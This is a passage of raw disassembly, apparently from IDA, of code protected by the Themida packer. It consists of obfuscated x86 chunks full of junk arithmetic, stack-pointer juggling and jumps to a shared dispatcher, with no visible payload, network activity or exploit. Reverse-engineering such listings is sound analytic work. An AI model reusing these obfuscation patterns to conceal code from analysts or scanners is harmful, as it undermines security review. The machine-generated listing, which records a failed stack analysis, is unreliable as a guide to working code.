		mov	edx, esi
		jmp	loc_58BFAC
; END OF FUNCTION CHUNK	FOR sub_58EFBD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D28B


loc_58A395:				; CODE XREF: sub_58D28B+1866j
		add	[esp-4+arg_0], 4
		pop	edi
		add	edi, 4
		push	ecx
		mov	ecx, 168810AEh
		sub	ecx, 168810AAh
		sub	edi, ecx
		pop	ecx
		xchg	edi, [esp-8+arg_4]
		pop	esp
		mov	[esp-0Ch+arg_8], ebx
		push	eax
		push	ecx
		mov	cl, dl
		mov	ah, cl
		pop	ecx
		mov	bl, ah
		pop	eax
		jmp	sub_58481A
; END OF FUNCTION CHUNK	FOR sub_58D28B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58A3C8:				; CODE XREF: sub_585452+1BC3j
		pop	[esp+0Ah+var_C+2]
		pop	esp
		idiv	cx
		push	edi
		sub	esp, 4
		push	61F9h
		mov	[esp+0Eh+var_10+2], esp
		add	[esp+0Eh+var_10+2], 4
		pop	[esp+0Eh+var_10+2]
		sub	esp, 4
		mov	[esp+0Eh+var_10+2], eax
		mov	eax, 4
		add	[esp+0Eh+var_C+2], eax
		jmp	loc_58F699
; ---------------------------------------------------------------------------


loc_58A3F9:				; CODE XREF: sub_585452-10C6j
		xor	eax, ecx
		xchg	eax, ecx
		push	1193h
		mov	[esp+4+var_4], ecx
		jmp	loc_585D8A
; ---------------------------------------------------------------------------


loc_58A409:				; CODE XREF: sub_585452+11A9j
		push	ecx
		mov	ecx, 4
		add	ebx, ecx
		jmp	loc_58C889
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58A416:				; CODE XREF: Themida_:005844FFj
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		shr	byte ptr [esp],	cl
		pushf
		jmp	loc_583C20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58A42B:				; CODE XREF: sub_585452-5ECj
		add	eax, 42F7481Ah
		pop	ebx
		push	[esp-2Eh+arg_28+2]
		pop	edx
		add	esp, 4
		push	dword ptr [edi+eax*4]
		push	399Eh
		mov	[esp-2Ah+arg_24+2], edi
		push	22D5325Ah
		pop	edi
		jmp	loc_58AE98
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_589FD5


loc_58A44E:				; CODE XREF: sub_589FD5-653j
		and	edi, 4A7C3DF1h
		jmp	loc_58FD4F
; END OF FUNCTION CHUNK	FOR sub_589FD5

; =============== S U B	R O U T	I N E =======================================



sub_58A459	proc near		; CODE XREF: sub_585452+2A70j

var_4		= dword	ptr -4

		sub	esp, 4
		mov	[esp+4+var_4], eax
		mov	eax, 5FF46F74h
		jmp	sub_58CABE
sub_58A459	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58A469:				; CODE XREF: sub_585452+2BF3j
		pop	ebx
		mov	edi, [esp+12h+var_14+2]
		add	esp, 4
		jmp	loc_58F1F0
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58A475:				; CODE XREF: Themida_:00589FC8j
		shl	cl, 7
		sub	cl, 0ADh
		sub	al, 0ACh
		sub	al, cl
		add	al, 0ACh
		push	dword ptr [esp]
		jmp	loc_5863AE
; ---------------------------------------------------------------------------


loc_58A489:				; CODE XREF: Themida_:005899D0j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_58F36B
; ---------------------------------------------------------------------------


loc_58A497:				; CODE XREF: Themida_:0058DE1Cj
		add	ecx, 4D25454Ah
		push	edi
		mov	edi, 41D32AC5h
		add	edi, 0BFAB45F1h
		or	ecx, edi
		jmp	loc_5856A0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58A4B0:				; CODE XREF: sub_585452+799Fj
		push	[esp+0Eh+var_10+2]
		mov	esi, [esp+12h+var_14+2]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+12h+var_14+2]
		pop	esp
		xchg	ebp, [esp+0Eh+var_10+2]
		jmp	loc_58ABCE
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58FA66


loc_58A4D4:				; CODE XREF: sub_58FA66-B30Ej
		push	esi
		mov	esi, 51DC6431h
		mov	edx, 26CA36B3h
		xor	edx, esi
		pop	esi
		not	edx
		sub	edx, 347C534Eh
		add	edx, 79AD473Ah
		jmp	loc_583E75
; END OF FUNCTION CHUNK	FOR sub_58FA66

; =============== S U B	R O U T	I N E =======================================



sub_58A4F5	proc near		; CODE XREF: sub_585452+6A62j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005876E9 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00588493 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0058B35E SIZE 00000016 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ecx
		push	ebx
		jmp	loc_5876E9
sub_58A4F5	endp

; ---------------------------------------------------------------------------


loc_58A504:				; CODE XREF: Themida_:0058CEB5j
		push	ebp
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		push	ebp
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ax
		jmp	loc_58F506
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E931


loc_58A53A:				; CODE XREF: sub_58E931+7j
		sub	[esp+8+var_4], edx
		pop	edx
		push	[esp+4+var_4]
		pop	eax
		add	esp, 4
		push	edi
		jmp	loc_5846F5
; END OF FUNCTION CHUNK	FOR sub_58E931
; ---------------------------------------------------------------------------


loc_58A54F:				; CODE XREF: Themida_:005874CBj
		sub	esp, 4
		jmp	loc_585DC9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58A55A:				; CODE XREF: sub_585452+415j
		pop	ebx
		add	ebp, esi
		sub	esp, 4
		mov	[esp+42h+var_44+2], ebx
		jmp	loc_58C222
; ---------------------------------------------------------------------------


loc_58A56B:				; CODE XREF: sub_585452+2920j
		pop	ecx
		jmp	loc_58ED76
; ---------------------------------------------------------------------------


loc_58A571:				; CODE XREF: sub_585452+605j
		mov	ecx, 4B1551F0h
		add	ebx, 3E584206h
		sub	ebx, ecx
		sub	ebx, 3E584206h
		mov	ecx, [esp+52h+var_54+2]
		push	eax
		jmp	loc_58932C
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58A58D:				; CODE XREF: Themida_:0058F279j
		push	edi
		jmp	loc_589958
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58A593:				; CODE XREF: sub_585452+9DE0j
		push	edi
		dec	[esp+5Ah+var_5C+2]
		pop	edi
		and	edi, 4422705h
		jmp	loc_58C920
; END OF FUNCTION CHUNK	FOR sub_585452

; =============== S U B	R O U T	I N E =======================================



sub_58A5A3	proc near		; CODE XREF: sub_585452+9244j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00585078 SIZE 00000037 BYTES
; FUNCTION CHUNK AT 005871E9 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00587CFE SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00587EC7 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0058888C SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0058C6F8 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058D89A SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0058F3F1 SIZE 00000007 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], esp
		push	ecx
		jmp	loc_58C6F8
sub_58A5A3	endp

; ---------------------------------------------------------------------------


loc_58A5AF:				; CODE XREF: Themida_:005863AFj
		add	esp, 4
		pop	edx
		push	7EFEh
		mov	[esp], ecx
		mov	ch, 0CDh
		add	al, ch
		pop	ecx
		jmp	loc_584BC0
; ---------------------------------------------------------------------------


loc_58A5C8:				; CODE XREF: Themida_:0058E2F5j
		add	edi, 36806E21h
		add	edi, edx
		sub	edi, 36806E21h
		jmp	loc_58E6B6
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	ecx
		push	1FF8h
		mov	[esp], edx
		push	esp
		pop	edx
		add	edx, 4
		push	ebp
		push	eax
		push	edi
		mov	edi, 518C014Ah
		or	edi, 59A56C5Ah
		neg	edi
		sub	edi, 311F3530h
		not	edi
		jmp	loc_58D569
; ---------------------------------------------------------------------------


loc_58A60C:				; CODE XREF: Themida_:0058868Fj
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		xor	eax, 2FE86EBBh
		jmp	loc_583C20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58A61D:				; CODE XREF: sub_585452+1BCEj
		add	ebx, eax
		add	ebx, 0D4F491Ah
		pop	eax
		push	ebx
		jmp	loc_587010
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58A62C:				; CODE XREF: Themida_:0058AB90j
		xchg	ebp, [esp]
		mov	esp, [esp]
		sar	byte ptr [esp],	cl
		pushf
		jmp	loc_583C20
; ---------------------------------------------------------------------------


loc_58A63B:				; CODE XREF: Themida_:0058FC74j
		push	ebx
		mov	ebx, 127D0FB0h
		jmp	loc_589776
; ---------------------------------------------------------------------------


loc_58A646:				; CODE XREF: Themida_:00587DE1j
		sub	edi, 75C85584h
		push	ebp
		mov	ebp, 6AE7363h
		neg	ebp
		add	ebp, 29376716h
		shl	ebp, 8
		jmp	loc_587A00
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58FA66


loc_58A662:				; CODE XREF: sub_58FA66-A952j
		pop	eax
		add	esp, 4
		sub	esp, 4
		mov	[esp+0], ebp
		push	esi
		push	eax
		jmp	loc_589D0E
; END OF FUNCTION CHUNK	FOR sub_58FA66
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58A676:				; CODE XREF: sub_585452+83Cj
		add	edi, 4
		sub	edi, 4
		sub	esp, 4
		mov	[esp-0Eh+arg_8+2], edi
		push	[esp-0Eh+arg_E]
		pop	edi
		pop	[esp-0Eh+arg_8+2]
		pop	esp
		mov	[esp-16h+arg_12], ebp
		jmp	loc_58D1BD
; ---------------------------------------------------------------------------


loc_58A699:				; CODE XREF: sub_585452+3015j
		mov	ecx, [edx]
		mov	edx, [esp+4+var_4]
		add	esp, 4
		sub	esp, 4
		mov	[esp+4+var_4], ebp
		push	4E1h
		mov	[esp+8+var_8], esi
		push	edx
		mov	edx, 40h
		jmp	loc_5853C4
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58A6C0:				; CODE XREF: Themida_:0058D6CEj
		xchg	esi, [esp]
		pop	esp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5875F6
; ---------------------------------------------------------------------------


loc_58A6D2:				; CODE XREF: Themida_:0058BA25j
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		jmp	loc_584320
; ---------------------------------------------------------------------------


loc_58A6E4:				; CODE XREF: Themida_:0058E1DFj
		push	3FB4h
		mov	[esp], esp
		jmp	loc_588CD2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_587574


loc_58A6F1:				; CODE XREF: sub_587574+54D6j
		pop	esp
		mov	[esp+0], eax
		mov	eax, 20h
		push	1BDDh
		mov	[esp-4+arg_0], edi
		jmp	loc_5869DA
; END OF FUNCTION CHUNK	FOR sub_587574
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58A707:				; CODE XREF: sub_585452+A00Ej
		xor	bl, 7Bh
		jmp	loc_58C013
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58A26F


loc_58A70F:				; CODE XREF: sub_58A26F+150Bj
		add	esp, 4
		inc	ecx
		jmp	sub_58CA39
; END OF FUNCTION CHUNK	FOR sub_58A26F
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	esi
		push	581Fh
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	esi, [esp]
		jmp	loc_589993
; ---------------------------------------------------------------------------


loc_58A734:				; CODE XREF: Themida_:0058B949j
		sub	bl, cl
		push	dword ptr [esp]
		jmp	loc_58CE5A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58A73E:				; CODE XREF: sub_585452+54ABj
		jmp	loc_583C20
; ---------------------------------------------------------------------------


loc_58A743:				; CODE XREF: sub_585452+1987j
		push	esi
		mov	esi, 3C6B374Eh
		mov	ebp, 0C394C8B3h
		jmp	loc_58BA8F
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
		jmp	loc_583C20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EFBD


loc_58A758:				; CODE XREF: sub_58EFBD-A06Aj
		push	edx
		mov	edx, 0E8EF4C6Ch
		add	ecx, edx
		pop	edx
		sub	edx, ecx
		pop	ecx
		and	eax, edx
		pop	edx
		or	eax, eax
		jz	loc_58BF42
		sub	esp, 4
		mov	[esp-0Ch+arg_8], ebx
		jmp	loc_58B94E
; END OF FUNCTION CHUNK	FOR sub_58EFBD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58A77A:				; CODE XREF: sub_585452+4AF5j
		push	15B85B67h
		pop	eax
		sub	[esp+46h+var_44+2], eax
		pop	eax
		jmp	loc_589CD1
; ---------------------------------------------------------------------------


loc_58A78A:				; CODE XREF: sub_585452+A9F6j
		add	ecx, 2
		xchg	ecx, [esp+42h+var_44+2]
		pop	esp
		jmp	sub_585350
; ---------------------------------------------------------------------------


loc_58A799:				; CODE XREF: sub_585452+7359j
		xchg	ecx, [esp+3Eh+var_40+2]
		pop	esp
		sub	eax, 4
		xchg	eax, [esp+3Ah+var_3C+2]
		pop	esp
		jmp	loc_588AA6
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58A7AB:				; CODE XREF: Themida_:00584CF6j
		mov	eax, 2
		add	esi, eax
		jmp	loc_584F58
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58A7B7:				; CODE XREF: sub_585452+3354j
		mov	ch, bl
		mov	dh, ch
		pop	ecx
		pop	ebx
		xor	al, dh
		jmp	loc_58CA93
; ---------------------------------------------------------------------------


loc_58A7C4:				; CODE XREF: sub_585452-A5Fj
		sub	[esp-18h+arg_12+2], 455B15F2h
		pop	eax
		add	eax, 455B15F2h
		pop	ecx
		push	edi
		sub	esp, 4
		jmp	loc_585D24
; ---------------------------------------------------------------------------


loc_58A7DE:				; CODE XREF: sub_585452+706j
		movzx	cx, ah
		push	5111h
		mov	[esp+0], esi
		sub	esp, 4
		mov	[esp-0Ch+arg_8], esp
		add	[esp-0Ch+arg_8], 4
		mov	esi, [esp-0Ch+arg_8]
		push	ebp
		jmp	loc_58D6F3
; ---------------------------------------------------------------------------


loc_58A800:				; CODE XREF: sub_585452+9ADDj
		mov	word ptr [esp-8+arg_4],	dx
		push	ax
		pushf
		jmp	loc_583C20
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58A80C:				; CODE XREF: Themida_:0058E341j
		sub	edi, 3F9C51D7h
		pop	ecx
		jmp	loc_58F67B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58A818:				; CODE XREF: sub_585452+59F5j
		xor	ah, 7Fh
		sub	ch, ah
		pop	eax
		sub	bl, ch
		mov	ecx, [esp-6+arg_0+2]
		add	esp, 4
		jmp	loc_58637F
; ---------------------------------------------------------------------------


loc_58A82E:				; CODE XREF: sub_585452+49Aj
		pop	ebp
		add	esp, 4
		or	eax, eax
		jz	sub_58E931
		push	ebx
		sub	esp, 4
		mov	[esp+4Ah+var_4C+2], esi
		push	0E834D54h
		pop	esi
		xchg	eax, esi
		jmp	loc_584D27
; ---------------------------------------------------------------------------


loc_58A850:				; CODE XREF: sub_585452-5AAj
		shl	esi, 2
		sub	esi, 0FFFFFFFFh
		push	4145h
		mov	[esp-2Ah+arg_24+2], esi
		xchg	edx, [esp-2Ah+arg_24+2]
		xchg	ecx, edx
		push	ecx
		jmp	loc_587307
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58A86C:				; CODE XREF: Themida_:0058CA34j
		xchg	ebp, [esp]
		pop	esp
		add	esp, 4
		jmp	loc_583C20
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	250h
		mov	[esp], ebx
		jmp	loc_583CEF
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], edx
		push	esp
		jmp	loc_58F8D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EFBD


loc_58A89C:				; CODE XREF: sub_58EFBD-AFB5j
		sub	ebp, edi
		pop	edi
		sub	ebp, 806B1229h
		mov	ebx, ebp
		pop	ebp
		add	ebx, 0AFA75D7h
		add	ebx, eax
		push	eax
		mov	eax, 0AFA75D7h
		sub	ebx, eax
		jmp	loc_584F0C
; END OF FUNCTION CHUNK	FOR sub_58EFBD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58A8BD:				; CODE XREF: sub_585452-5j
		xor	ebx, 0D846A279h
		push	eax
		mov	eax, 440F6203h
		xor	eax, 33A272D9h
		jmp	loc_584BA2
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58A8D3:				; CODE XREF: Themida_:00588701j
		not	edx
		xchg	eax, edx
		xor	eax, 271976CCh
		mov	ebp, eax
		pop	eax
		xor	ebp, 7533305h
		dec	ebp
		inc	ebp
		and	ebp, 1AB95E90h
		sub	ebp, 0E84C409Ah
		add	ebx, ebp
		jmp	loc_589E3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58A8F9:				; CODE XREF: sub_585452-104Fj
		and	byte ptr [esp-8+arg_4],	al
		pushf
		jmp	loc_58A73E
; ---------------------------------------------------------------------------


loc_58A902:				; CODE XREF: sub_585452+7F2Cj
		xor	edi, [esp-4+arg_0]
		pop	esp
		mov	word ptr [esp-8+arg_4],	dx
		mov	dh, 69h
		sub	al, dh
		mov	dx, word ptr [esp-8+arg_4]
		push	edx
		jmp	loc_588543
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58A918:				; CODE XREF: Themida_:0058450Ej
		push	ebx
		push	eax
		mov	al, 3
		neg	al
		or	al, 66h
		jmp	loc_585062
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EA34


loc_58A925:				; CODE XREF: sub_58EA34-8820j
		add	esp, 4
		jmp	loc_58E009
; END OF FUNCTION CHUNK	FOR sub_58EA34
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58A930:				; CODE XREF: sub_585452+2C89j
		pop	edx
		sub	esp, 4
		mov	[esp-0Eh+arg_8+2], ecx
		push	edx
		mov	dl, 0E2h
		push	eax
		mov	al, 0DAh
		not	al
		or	al, 0F1h
		shr	al, 4
		not	al
		add	al, 43h
		sub	al, 7Bh
		mov	cl, al
		jmp	loc_58811F
; ---------------------------------------------------------------------------


loc_58A951:				; CODE XREF: sub_585452+27FFj
		mov	[esp-14h+arg_E+2], ebx
		jmp	loc_58CBEE
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E1AF


loc_58A959:				; CODE XREF: sub_58E1AF+Bj
		push	eax
		mov	eax, 5F936A11h
		and	eax, 719866D6h
		jmp	loc_58E3BA
; END OF FUNCTION CHUNK	FOR sub_58E1AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58A969:				; CODE XREF: sub_585452+FB3j
		shr	ah, 5
		push	cx
		mov	ch, 2Eh
		jmp	loc_58BE56
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58960C


loc_58A975:				; CODE XREF: sub_58960C+3F83j
		mov	edi, 64037DB9h
		sub	edi, 0BB856FFh
		add	edi, 48CD4DADh
		inc	edi
		sub	edi, 2C13784Ch
		add	edi, 8C1839FDh
		add	ecx, edi
		pop	edi
		mov	edx, [esp+4+var_4]
		jmp	loc_5897B7
; END OF FUNCTION CHUNK	FOR sub_58960C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58A99E:				; CODE XREF: sub_585452+9C15j
		or	edx, eax
		shl	edx, 1
		push	esi
		mov	esi, esp
		jmp	loc_58691E
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58A9AA:				; CODE XREF: Themida_:005867DFj
		idiv	ecx
		push	1C96h
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_583C20
; ---------------------------------------------------------------------------


loc_58A9BB:				; CODE XREF: Themida_:00584614j
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_58DC74
; ---------------------------------------------------------------------------


loc_58A9C6:				; CODE XREF: Themida_:00586162j
		push	edx
		jmp	loc_589765
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_586650


loc_58A9CC:				; CODE XREF: sub_586650+16D0j
		add	esi, 6064170Bh
		add	esi, edx
		jmp	loc_58A2F5
; END OF FUNCTION CHUNK	FOR sub_586650
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58BCA7


loc_58A9D9:				; CODE XREF: sub_58BCA7+40j
		mov	ecx, 69CA0D3Fh
		mov	ebx, 0D7EF2EB9h
		sub	ebx, ecx
		pop	ecx
		mov	esi, ebx
		jmp	loc_58F733
; END OF FUNCTION CHUNK	FOR sub_58BCA7
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		push	ebx
		jmp	loc_58720E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E761


loc_58A9F6:				; CODE XREF: sub_58E761+349j
		mov	ebx, 2
		add	esi, 604B0F54h
		jmp	loc_5859EB
; END OF FUNCTION CHUNK	FOR sub_58E761
; ---------------------------------------------------------------------------


loc_58AA06:				; CODE XREF: Themida_:0058675Aj
		xor	ebp, 7A99454h
		sub	edi, ebp
		pop	ebp
		push	eax
		mov	eax, 269805C3h
		or	edi, eax
		pop	eax
		push	edx
		mov	edx, 701646A2h
		or	edx, 41B04665h
		or	edx, 1DA3637Bh
		dec	edx
		xor	edx, 530CE221h
		xor	edi, edx
		pop	edx
		add	edx, edi
		mov	edi, [esp]
		add	esp, 4
		add	edx, 2
		xchg	edx, [esp]
		pop	esp
		mov	ax, [esp]
		push	7440h
		mov	[esp], edi
		push	esp
		jmp	loc_588FFC
; ---------------------------------------------------------------------------


loc_58AA5B:				; CODE XREF: Themida_:0058617Bj
		pop	ecx
		push	600h
		jmp	loc_58F59C
; ---------------------------------------------------------------------------


loc_58AA66:				; CODE XREF: Themida_:00588101j
		mov	[esp], edx
		mov	dh, 52h
		jmp	loc_58F382
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	byte ptr [esp],	cl
		pushf
		jmp	loc_583C20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_587574


loc_58AA7F:				; CODE XREF: sub_587574-F39j
		sub	dword ptr [edi+24h], 6F7D79B2h
		jmp	loc_585507
; END OF FUNCTION CHUNK	FOR sub_587574
; ---------------------------------------------------------------------------


loc_58AA8B:				; CODE XREF: Themida_:0058F638j
		xor	edx, ebx
		jmp	loc_58DE38
; ---------------------------------------------------------------------------


loc_58AA92:				; CODE XREF: Themida_:00588C5Bj
		xchg	ecx, [esp]
		pop	esp
		add	edi, 2
		jmp	loc_58D8C6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58FA66


loc_58AAA1:				; CODE XREF: sub_58FA66-978Aj
		pop	ecx
		pop	eax
		jmp	loc_585373
; END OF FUNCTION CHUNK	FOR sub_58FA66
; ---------------------------------------------------------------------------


loc_58AAA8:				; CODE XREF: Themida_:00587A84j
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	ebx
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 4
		add	ebx, 4
		push	2417h
		mov	[esp], ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		push	ebp
		push	edx
		mov	edx, 3BF37079h
		add	edx, 51123E53h
		shl	edx, 2
		jmp	loc_58D854
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_588917
; ---------------------------------------------------------------------------


loc_58AB0B:				; CODE XREF: Themida_:0058AC5Bj
		pop	ebx
		add	ebx, 4
		push	edx
		jmp	loc_58BBDB

; =============== S U B	R O U T	I N E =======================================



sub_58AB18	proc near		; CODE XREF: sub_585452+57A2j

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

; FUNCTION CHUNK AT 00583F40 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005850EA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00586423 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00587370 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00587DEC SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005886B5 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005890A7 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005892F0 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058972B SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0058B2C7 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0058CB99 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0058CC7D SIZE 0000002D BYTES
; FUNCTION CHUNK AT 0058D9AE SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0058DA53 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 0058E0E3 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0058E808 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0058FA98 SIZE 0000000C BYTES

		push	ebx
		mov	ebx, esp
		jmp	loc_58972B
sub_58AB18	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E761


loc_58AB20:				; CODE XREF: sub_58E761-830Fj
		pop	ebx
		add	esp, 4
		xchg	eax, [esp-8+arg_4]
		jmp	loc_587E29
; END OF FUNCTION CHUNK	FOR sub_58E761
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58AB2F:				; CODE XREF: sub_585452-8C9j
		sub	cl, 84h
		jmp	loc_5880D8
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58AB37:				; CODE XREF: Themida_:0058E3B5j
		add	ecx, 599B250Ch
		sub	ecx, 5B21758h
		jmp	loc_58E909
; ---------------------------------------------------------------------------


loc_58AB48:				; CODE XREF: Themida_:0058D66Dj
		mov	ebx, 0A241F24h
		sub	ebp, ebx
		pop	ebx
		mov	ecx, [esp]
		jmp	loc_589490
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58AB58:				; CODE XREF: sub_585452-36Dj
		pop	edx
		push	ecx
		push	ebx
		add	[esp+6+var_8+2], 69227A17h
		pop	ecx
		push	edx
		mov	edx, 69227A17h
		sub	ecx, edx
		pop	edx
		mov	eax, ecx
		jmp	loc_585CCA
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58AB73:				; CODE XREF: Themida_:005852AEj
		push	ecx
		mov	ecx, 28D47871h
		sub	ebp, ecx
		pop	ecx
		add	ebp, ecx
		add	ebp, 28D47871h
		mov	ecx, [esp]
		add	esp, 4
		add	ebp, 2
		jmp	loc_58A62C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58AB95:				; CODE XREF: sub_585452+2765j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp-8+arg_4]
		pop	esp
		mov	eax, [esp-0Ch+arg_8]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp-8+arg_4]
		jmp	loc_584064
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_583D6F


loc_58ABBA:				; CODE XREF: sub_583D6F+260Bj
		add	edx, esi
		pop	esi
		pop	eax
		xchg	edx, [esp-4+arg_0]
		mov	esp, [esp-4+arg_0]
		rol	word ptr [esp-4+arg_0],	cl
		pushf
		jmp	loc_583C20
; END OF FUNCTION CHUNK	FOR sub_583D6F
; ---------------------------------------------------------------------------
